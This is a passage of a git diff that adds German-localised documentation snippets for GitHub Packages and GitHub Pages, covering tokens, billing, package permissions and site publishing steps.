+Auf der Paketseite stellt {% data variables.product.prodname_dotcom %} Metadaten für jede Version zur Verfügung, wie etwa das Veröffentlichungsdatum. Du kannst Details zum Paket sehen, einschließlich einer Beschreibung und Installations- und Gebrauchsanweisungen. Du kannst alle dem Paket zugeordneten Objekte herunterladen und Informationen zur Download-Aktivität anzeigen. Eine Beispielpaketseite findest du unter [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1).
diff --git a/translations/de-DE/data/reusables/package_registry/package-registry-with-github-tokens.md b/translations/de-DE/data/reusables/package_registry/package-registry-with-github-tokens.md
new file mode 100644
index 0000000000..e6f45e55dd
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/package-registry-with-github-tokens.md
@@ -0,0 +1 @@
+If you are using a {% data variables.product.prodname_actions %} workflow, you can use a `GITHUB_TOKEN` to publish and consume packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}. For more information, see "[Authenticating with the `GITHUB_TOKEN`](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
diff --git a/translations/de-DE/data/reusables/package_registry/package-settings-from-org-level.md b/translations/de-DE/data/reusables/package_registry/package-settings-from-org-level.md
new file mode 100644
index 0000000000..ca6423b48e
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/package-settings-from-org-level.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: aa5f634c646d51b0d38495ef7d2467590115c889
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109582"
+---
+1. Navigiere auf {% data variables.product.prodname_dotcom %} zur Hauptseite deiner Organisation.
+2. Klicke unter deinem Organisationsnamen auf **Pakete**.
+  {% ifversion fpt or ghes or ghec %} ![Registerkarte „Pakete“ auf der Startseite der Organisation](/assets/images/help/package-registry/org-tab-for-packages-with-overview-tab.png) {% else %} ![Registerkarte „Pakete“ auf der Startseite der Organisation](/assets/images/help/package-registry/org-tab-for-packages.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/package-settings-from-user-level.md b/translations/de-DE/data/reusables/package_registry/package-settings-from-user-level.md
new file mode 100644
index 0000000000..d2a120b0b5
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/package-settings-from-user-level.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: f71ba706221b5f893c5308cdebb298ac5cf8a950
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887278"
+---
+1. Navigiere auf {% data variables.product.prodname_dotcom %} zur Hauptseite deines persönlichen Kontos.
+2. Klicke in der oberen rechten Ecke von {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} auf dein Profilfoto, und klicke dann auf **Dein Profil**.
+  ![Profilfoto](/assets/images/help/profile/top_right_avatar.png)
+3. Klicke auf deiner Profilseite oben rechts auf **Pakete**.
+  ![Option „Pakete“ auf der Profilseite](/assets/images/help/package-registry/packages-from-user-profile.png)
diff --git a/translations/de-DE/data/reusables/package_registry/package-settings-option.md b/translations/de-DE/data/reusables/package_registry/package-settings-option.md
new file mode 100644
index 0000000000..a56ea8c68d
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/package-settings-option.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 5b18de87830c2c7373a363612e64716e5ed7c5ea
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876982"
+---
+3. Suche nach deinem Paket, und wähle es aus.
+4. Klicke oben rechts auf der Startseite deines Pakets auf **Paketeinstellungen**.
+  ![Schaltfläche „Paketeinstellungen“](/assets/images/help/package-registry/packages-settings-from-package-landing-page.png)
diff --git a/translations/de-DE/data/reusables/package_registry/packages-billing.md b/translations/de-DE/data/reusables/package_registry/packages-billing.md
new file mode 100644
index 0000000000..07e599fb33
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-billing.md
@@ -0,0 +1 @@
+{% data variables.product.prodname_registry %} usage is free for public packages. For private packages, each account on {% data variables.location.product_location %} receives a certain amount of free storage and data transfer, depending on the product used with the account. Any usage beyond the included amounts is controlled by spending limits.
diff --git a/translations/de-DE/data/reusables/package_registry/packages-classic-pat-only.md b/translations/de-DE/data/reusables/package_registry/packages-classic-pat-only.md
new file mode 100644
index 0000000000..cfe19dfac4
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-classic-pat-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8f60e7d7fcb1b652a4a4d7142dd5e1ba62ec4886
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107069"
+---
+{% ifversion pat-v2 %} {% note %}
+
+{% data variables.product.prodname_registry %} unterstützt nur die Authentifizierung mit einem {% data variables.product.pat_v1 %}. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/packages-cluster-support.md b/translations/de-DE/data/reusables/package_registry/packages-cluster-support.md
new file mode 100644
index 0000000000..8c3df0e464
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-cluster-support.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 65f8d24babf0236053d286a86489e016bef749fd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107543"
+---
+{% ifversion ghes %} {% note %}
+
+**Hinweis**: {% data variables.product.prodname_registry %} für {% data variables.product.product_name %} unterstützt derzeit kein Clustering.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/packages-from-code-tab.md b/translations/de-DE/data/reusables/package_registry/packages-from-code-tab.md
new file mode 100644
index 0000000000..34df2d18aa
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-from-code-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d8ea9fee1541d16236d3b745088c508b0eb0b151
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107524"
+---
+1. Klicke rechts neben der Liste der Dateien auf **Pakete**.
+  {% ifversion fpt or ghec %} ![Link „Pakete“ auf der Übersichtsseite für Repositorys](/assets/images/help/package-registry/packages-link.png) {% else %} ![Link „Pakete“ auf der Übersichtsseite für Repositorys](/assets/images/help/package-registry/packages-from-repo.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/packages-ghae-release-stage.md b/translations/de-DE/data/reusables/package_registry/packages-ghae-release-stage.md
new file mode 100644
index 0000000000..d1e213defd
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-ghae-release-stage.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 92c9b94f4c711223f758a8b0993d9a9765bc5726
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107523"
+---
+{% ifversion ghae %} {% note %}
+
+**Hinweis**: {% data variables.product.prodname_registry %} befindet sich derzeit in der Betaversion für {% data variables.product.prodname_ghe_managed %}.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/packages-spending-limit-brief.md b/translations/de-DE/data/reusables/package_registry/packages-spending-limit-brief.md
new file mode 100644
index 0000000000..f223629bdb
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-spending-limit-brief.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0ba3510a3aae6ecf9cfcaa75ded74d544ab5996a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107520"
+---
+Wenn du ein Kunde mit monatlicher Abrechnung bist, gilt für dein Konto ein Standardausgabenlimit von 0 US-Dollar (USD). Dadurch wird die zusätzliche Nutzung von Speicher oder Datenübertragungen verhindert, sobald die enthaltenen Beträge erreicht sind. Wenn die Abrechnung für dein Konto auf Rechnung erfolgt, gilt für dein Konto ein unbegrenztes Standardausgabenlimit.
diff --git a/translations/de-DE/data/reusables/package_registry/packages-spending-limit-detailed.md b/translations/de-DE/data/reusables/package_registry/packages-spending-limit-detailed.md
new file mode 100644
index 0000000000..d68eb49e49
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/packages-spending-limit-detailed.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e06b278aad8065440be4056bf0343f22f5e88739
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876981"
+---
+{% data reusables.package_registry.packages-spending-limit-brief %}
+
+Wenn du über ein unbegrenztes Ausgabenlimit oder ein höheres Ausgabenlimit als 0 USD verfügst, werden dir alle zusätzlichen Speicherkapazitäten oder Datenübertragungen, auch als Überschreitungen bezeichnet, bis zu deinem Ausgabenlimit berechnet. Gutscheine für dein Konto gelten nicht für {% data variables.product.prodname_registry %}-Überschreitungen.
+
+{% data reusables.billing.overages-billed-monthly %}
diff --git a/translations/de-DE/data/reusables/package_registry/public-or-private-packages.md b/translations/de-DE/data/reusables/package_registry/public-or-private-packages.md
new file mode 100644
index 0000000000..6c6331b1b6
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/public-or-private-packages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 205ff4b09575786c7ce1a36a3a65db6b64e3cf13
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107516"
+---
+Du kannst Pakete in {% ifversion ghae %}einem internen{% else %}einem öffentlichen{% endif %} Repository ({% ifversion ghae %}interne{% else %}öffentliche{% endif %} Pakete) veröffentlichen, um sie mit {% ifversion fpt or ghec %}allen {% data variables.product.prodname_dotcom %}{% else %}allen Personen in deinem Unternehmen{% endif %} gemeinsam zu nutzen, oder in einem privaten Repository (privaten Paketen), um sie mit Projektmitarbeitern oder einer Organisation gemeinsam zu nutzen.
diff --git a/translations/de-DE/data/reusables/package_registry/publish_package.md b/translations/de-DE/data/reusables/package_registry/publish_package.md
new file mode 100644
index 0000000000..fbb16708e4
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/publish_package.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2f542916e048a9cc5c243ead6e83501a01bb7dad
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107515"
+---
+1. Das Paket veröffentlichen:
+
+  ```shell
+  $ npm publish
+  ```
diff --git a/translations/de-DE/data/reusables/package_registry/repository_connection_steps.md b/translations/de-DE/data/reusables/package_registry/repository_connection_steps.md
new file mode 100644
index 0000000000..09690d343c
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/repository_connection_steps.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 1d4cc05436a8f3a616f713d371a94e86684854e9
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876961"
+---
+1. Klicke unter deinen Paketversionen auf **Repository verbinden**.
+  ![Schaltfläche zum Verbinden eines Repositorys auf der Paketstartseite](/assets/images/help/package-registry/connect-repository.png)
+
+1. Wähle ein Repository aus, und klicke dann auf **Repository verbinden**.
+  ![Schaltfläche zum Verbinden eines Repositorys im Popupfenster für die Repositoryauswahl](/assets/images/help/package-registry/select_a_repo.png)
diff --git a/translations/de-DE/data/reusables/package_registry/required-scopes.md b/translations/de-DE/data/reusables/package_registry/required-scopes.md
new file mode 100644
index 0000000000..9a69fbda9b
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/required-scopes.md
@@ -0,0 +1 @@
+You must use a {% data variables.product.pat_v1 %} with the appropriate scopes to publish and install packages in {% data variables.product.prodname_registry %}. For more information, see "[About {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-github-packages#authenticating-to-github-packages)."
diff --git a/translations/de-DE/data/reusables/package_registry/verify_repository_field.md b/translations/de-DE/data/reusables/package_registry/verify_repository_field.md
new file mode 100644
index 0000000000..5449e820ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/verify_repository_field.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c680275eba6e214467a03f35c58bec6c878d0a62
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410587"
+---
+1. Überprüfe das Feld `repository` in der Datei *package.json* deines Projekts. Das Feld `repository` muss mit der URL für Ihr {% data variables.product.prodname_dotcom %}-Repository übereinstimmen. Wenn ihre Repository-URL beispielsweise `github.com/my-org/test` lautet, sollte das Repositoryfeld `https://github.com/my-org/test.git` lauten.
diff --git a/translations/de-DE/data/reusables/package_registry/viewing-packages.md b/translations/de-DE/data/reusables/package_registry/viewing-packages.md
new file mode 100644
index 0000000000..6fd1053cd1
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/viewing-packages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 46b3a55e89711b12748bd2e594b70061180fa6c5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107487"
+---
+Nachdem Du ein Paket veröffentlicht hast, kannst Du das Paket auf {% data variables.product.prodname_dotcom %} ansehen. Weitere Informationen findest du unter [Anzeigen von Paketen](/packages/manage-packages/viewing-packages).
diff --git a/translations/de-DE/data/reusables/package_registry/visibility-and-access-permissions.md b/translations/de-DE/data/reusables/package_registry/visibility-and-access-permissions.md
new file mode 100644
index 0000000000..7705b557a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/visibility-and-access-permissions.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 42d6bbb15a1f147d9eea0c908b17ec30790a54c3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107484"
+---
+Wenn du über Administratorberechtigungen für ein Containerimage verfügst, kannst du die Zugriffsberechtigungen für das Containerimage auf „privat“ oder „öffentlich“ festlegen. Öffentliche Images erlauben anonymen Zugriff und können ohne Authentifizierung oder Anmeldung über die CLI gepullt werden.
+
+Als Administrator kannst du auch Zugriffsberechtigungen für ein Containerimage erteilen, die unabhängig von den Berechtigungen sind, die du auf Organisations- und Repositoryebene festgelegt hast.
+
+Für Containerimages, die über ein persönliches Konto veröffentlicht werden und in dessen Besitz sind, kannst du jeder Person eine Zugriffsrolle zuweisen. Für Containerimages, die von einer Organisation veröffentlicht werden und in deren Besitz sind, kannst du jeder Person oder jedem Team in der Organisation eine Zugriffsrolle zuweisen.
+
+| Berechtigung | Zugriffsbeschreibung |
+|------------|--------------------|
+| Lesen       | Kann Paket herunterladen. <br> Kann Paketmetadaten lesen. |
+| Schreiben      | Kann dieses Paket hochladen und herunterladen. <br> Kann Paketmetadaten lesen und schreiben. |
+| Administrator      | Kann dieses Paket hochladen, herunterladen, löschen und verwalten. <br> Kann Paketmetadaten lesen und schreiben. <br> Kann Paketberechtigungen erteilen.
diff --git a/translations/de-DE/data/reusables/pages/about-front-matter.md b/translations/de-DE/data/reusables/pages/about-front-matter.md
new file mode 100644
index 0000000000..c9cd388b9f
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/about-front-matter.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: aaa4a97a7de8c436dfda5dcb0deaf36c2163e5f9
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879203"
+---
+Um Variablen und Metadaten wie Titel und Layout für eine Seite oder einen Beitrag auf Deiner Seite zu setzen, kannst Du YAML-Titelei zuoberst in jeder Markdown- oder HTML-Datei hinzufügen. Weitere Informationen findest du in der Jekyll-Dokumentation unter [Front Matter](https://jekyllrb.com/docs/front-matter/).
diff --git a/translations/de-DE/data/reusables/pages/about-private-publishing.md b/translations/de-DE/data/reusables/pages/about-private-publishing.md
new file mode 100644
index 0000000000..fe7604278e
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/about-private-publishing.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c63b4d971e0b7dbf2f2b6e3aa1d59c1450310f35
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060837"
+---
+{% ifversion fpt %} Du kannst {% data variables.product.prodname_pages %}-Websites erstellen, die im Internet öffentlich verfügbar sind. Organisationen, die {% data variables.product.prodname_ghe_cloud %} nutzen, können Websites auch privat veröffentlichen, indem sie die Zugriffssteuerung für die Website verwalten.
+{% elsif ghec %} Sofern dein Unternehmen keine {% data variables.product.prodname_emus %} verwendet, kannst du auswählen, ob du Projektwebsites öffentlich oder privat veröffentlichen möchtest, indem du die Zugriffssteuerung für die Website verwaltest. {% endif %}
diff --git a/translations/de-DE/data/reusables/pages/add-jekyll-theme.md b/translations/de-DE/data/reusables/pages/add-jekyll-theme.md
new file mode 100644
index 0000000000..459234b0b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/add-jekyll-theme.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ae53d1e758994679adf424799bc923ac5445082b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107479"
+---
+Du kannst zu Deiner {% data variables.product.prodname_pages %}-Website ein Jekyll-Design hinzufügen, um das Erscheinungsbild Deiner Website anzupassen.
diff --git a/translations/de-DE/data/reusables/pages/admin-must-push.md b/translations/de-DE/data/reusables/pages/admin-must-push.md
new file mode 100644
index 0000000000..2762ed6967
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/admin-must-push.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2d53a518c3fe06a8dfc5731ead3d77e0671a6092
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147428412"
+---
+{% tip %}
+
+**Hinweis**: {% ifversion pages-custom-workflow %}Wenn die Veröffentlichung über einen Branch erfolgt und{% else %}Wenn{% endif %} deine Website nicht automatisch veröffentlicht wurde, stelle sicher, dass jemand mit Administratorberechtigungen und einer verifizierten E-Mail-Adresse einen Push an die Veröffentlichungsquelle ausgeführt hat.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/pages/best-with-supported-themes.md b/translations/de-DE/data/reusables/pages/best-with-supported-themes.md
new file mode 100644
index 0000000000..5e235e8098
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/best-with-supported-themes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9d0d20a6d933ba9209163486ec088421941b00aa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107475"
+---
+{% ifversion fpt or ghec %} Diese Anweisungen funktionieren am besten mit Designs, die offiziell von {% data variables.product.prodname_pages %} unterstützt werden. Eine vollständige Liste unterstützter Designs findest du unter [Unterstützte Designs](https://pages.github.com/themes/) auf der {% data variables.product.prodname_pages %}-Website.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pages/build-failure-email-server.md b/translations/de-DE/data/reusables/pages/build-failure-email-server.md
new file mode 100644
index 0000000000..89e9253b46
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/build-failure-email-server.md
@@ -0,0 +1,7 @@
+{% ifversion ghes or ghae %}
+  {% tip %}
+
+  You will only receive an email if outbound email support is enabled on {% data variables.location.product_location %}. For more information, contact your site administrator.
+
+  {% endtip %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pages/build-locally-download-cname.md b/translations/de-DE/data/reusables/pages/build-locally-download-cname.md
new file mode 100644
index 0000000000..b22a36faac
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/build-locally-download-cname.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a26348f2535341125e9ce55cb65f55b8a65564f8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107471"
+---
+1. Wenn du einen Generator für statische Websites verwendest, um deine Website lokal zu erstellen und die generierten Dateien auf {% data variables.product.product_name %} zu pushen, pulle den Commit, durch den die _CNAME_-Datei deinem lokalen Repository hinzugefügt wurde. Weitere Informationen findest du unter [Problembehandlung für benutzerdefinierte Domänen und {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#cname-errors).
diff --git a/translations/de-DE/data/reusables/pages/check-workflow-run.md b/translations/de-DE/data/reusables/pages/check-workflow-run.md
new file mode 100644
index 0000000000..073dfa50a5
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/check-workflow-run.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 258f73f928cd99de64f45fda0e6cec8e08ff335c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108363"
+---
+{% ifversion build-pages-with-actions %}
+1. Deine {% data variables.product.prodname_pages %}-Website wird mit einem {% data variables.product.prodname_actions %}-Workflow erstellt und bereitgestellt. Weitere Informationen findest du unter [Anzeigen des Workflowausführungsverlaufs](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history).
+
+  {% note %}
+
+  **Hinweis:** {% data variables.product.prodname_actions %} ist für öffentliche Repositorys kostenlos. Nutzungsgebühren gelten für private und interne Repositorys, die über das monatliche Kontingent kostenloser Minuten hinausgehen. Weitere Informationen findest du unter [Nutzungseinschränkungen, Abrechnung und Verwaltung](/actions/reference/usage-limits-billing-and-administration).
+
+  {% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pages/choose-visibility.md b/translations/de-DE/data/reusables/pages/choose-visibility.md
new file mode 100644
index 0000000000..ee95d223cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/choose-visibility.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 981b6ffa7666205c49e5bc9e544e8a1aa25d6c18
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067066"
+---
+{%- ifversion ghec %}
+1. Wenn du eine Website aus einem privaten oder internen Repository veröffentlichst, kannst du optional die Sichtbarkeit für deine Website auswählen. Wähle unter "{% data variables.product.prodname_pages %}" das Dropdownmenü **{% data variables.product.prodname_pages %}-Sichtbarkeit**  aus, und klicke dann auf eine Sichtbarkeit. Weitere Informationen findest Du unter [Ändern der Sichtbarkeit deiner {% data variables.product.prodname_pages %}-Website](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site).
+   ![Dropdownliste zum Auswählen einer Sichtbarkeit für deine Website](/assets/images/help/pages/public-or-private-visibility.png)
+
+   {% indented_data_reference reusables.pages.privately-publish-ghec-only spaces=3%} {%- endif %}
diff --git a/translations/de-DE/data/reusables/pages/configure-publishing-source.md b/translations/de-DE/data/reusables/pages/configure-publishing-source.md
new file mode 100644
index 0000000000..36a7cca296
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/configure-publishing-source.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3dc1b25b757a9119e78b3dceaeb2dc4dd6b1c3cd
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876965"
+---
+1. Konfiguriere deine Veröffentlichungsquelle. Weitere Informationen findest du unter [Konfigurieren einer Veröffentlichungsquelle für deine {% data variables.product.prodname_pages %}-Website](/articles/configuring-a-publishing-source-for-your-github-pages-site).
diff --git a/translations/de-DE/data/reusables/pages/contact-dns-provider.md b/translations/de-DE/data/reusables/pages/contact-dns-provider.md
new file mode 100644
index 0000000000..c70a9cd710
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/contact-dns-provider.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 713237c303ecff792332c97e330aa620817ca6b3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107443"
+---
+Weitere Informationen zum Erstellen des richtigen Datensatzes findest Du in der Dokumentation Ihres DNS-Anbieters.
diff --git a/translations/de-DE/data/reusables/pages/create-repo-name.md b/translations/de-DE/data/reusables/pages/create-repo-name.md
new file mode 100644
index 0000000000..dd69ec9924
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/create-repo-name.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 5bcf2103fb6d42f2bdd176c093a4d7d4b6cc3fb7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884349"
+---
+1. Gib einen Namen sowie eine optionale Beschreibung für Dein Repository ein. Wenn du eine Benutzer- oder Organisationswebsite erstellst, muss dein Repository `<user>.github.io` oder `<organization>.github.io` heißen. Wenn dein Benutzer- oder Organisationsname Großbuchstaben enthält, musst du diese als Kleinbuchstaben schreiben.
+Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/articles/about-github-pages#types-of-github-pages-sites).
+   ![Feld „Repository erstellen“](/assets/images/help/pages/create-repository-name-pages.png)
diff --git a/translations/de-DE/data/reusables/pages/decide-publishing-source.md b/translations/de-DE/data/reusables/pages/decide-publishing-source.md
new file mode 100644
index 0000000000..02d5710b0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/decide-publishing-source.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ec4658691c5147aecfb83c20a4c35be184314dad
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147428283"
+---
+1. Entscheide, welche Veröffentlichungsquelle du verwenden möchtest. Weitere Informationen findest du unter [Konfigurieren einer Veröffentlichungsquelle für deine GitHub Pages-Website](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site).
diff --git a/translations/de-DE/data/reusables/pages/default-domain-information.md b/translations/de-DE/data/reusables/pages/default-domain-information.md
new file mode 100644
index 0000000000..69fbe1ee02
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/default-domain-information.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3ad1c0111ee99734160f5245932995d7dc25143d
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876921"
+---
+Weitere Informationen zur Standarddomäne für deine Website findest Du unter [Informationen zu {% data variables.product.prodname_pages %}](/articles/about-github-pages#types-of-github-pages-sites).
diff --git a/translations/de-DE/data/reusables/pages/emu-org-only.md b/translations/de-DE/data/reusables/pages/emu-org-only.md
new file mode 100644
index 0000000000..fb1844ee17
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/emu-org-only.md
@@ -0,0 +1,7 @@
+{% ifversion ghec %}
+{% note %}
+
+**Note:** If you're a {% data variables.enterprise.prodname_managed_user %}, you can only publish {% data variables.product.prodname_pages %} sites from repositories owned by organizations. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)."
+
+{% endnote %}
+{% endif %}
